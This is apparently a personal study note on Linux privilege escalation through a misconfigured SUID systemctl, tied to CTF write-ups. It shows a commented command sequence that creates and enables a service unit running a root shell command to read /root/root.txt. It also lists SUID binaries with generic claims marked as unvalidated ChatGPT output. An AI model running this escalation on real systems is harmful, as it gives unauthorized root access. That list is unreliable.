This is about … .
SUID
Writeups ð:
- https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
- https://n0w4n.nl/vulnversity/
systemctl
This process is used to start services, for example, an apache server: sudo systemctl start apache2. However, if this file is assigned SUID permissions by mistake, it can be used for privilege escalation.
eop=$(mktemp).service # create a temp file with a random unique name and store the name in a eop variable
echo '[Service]
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $eop # write the config for the service into the file. This unit file will be used by the systemctl to run the process specified in the ExecStart variable.
# âïļ Do not copy this code in whole, line by line without the > sign, or else you will not get it work
# âïļ I have added touch $eop but it's not required (it was in my case, cause I had an error)
/bin/systemctl link $eop # This command in Linux creates a symbolic link for the service file specified in the "$eop" environment variable, in the "/etc/systemd/system/" directory, using the systemctl utility. The link created allows the service to be managed with systemctl commands.
/bin/systemctl enable --now $eop # This command in Linux enables and starts the service specified in the "$eop" environment variable, using the systemctl utility. The "enable" option makes the service to start at boot time, while the "--now" option starts the service immediately after the command is executed.
Other
Reference ð: ChatGTP (to validate)
/usr/bin/passwd: Used to change user passwords. A vulnerability in this file could allow an attacker to gain root privileges.
/usr/bin/chsh: Used to change a user's default shell. A vulnerability in this file could allow an attacker to gain root privileges.
/usr/bin/chfn: Used to change a user's finger information. A vulnerability in this file could allow an attacker to gain root privileges.
/usr/bin/sudo: Used to run commands as another user, typically root. A vulnerability in this file could allow an attacker to gain root privileges.
/usr/bin/sudoedit: Used to edit files as another user, typically root. A vulnerability in this file could allow an attacker to gain root privileges.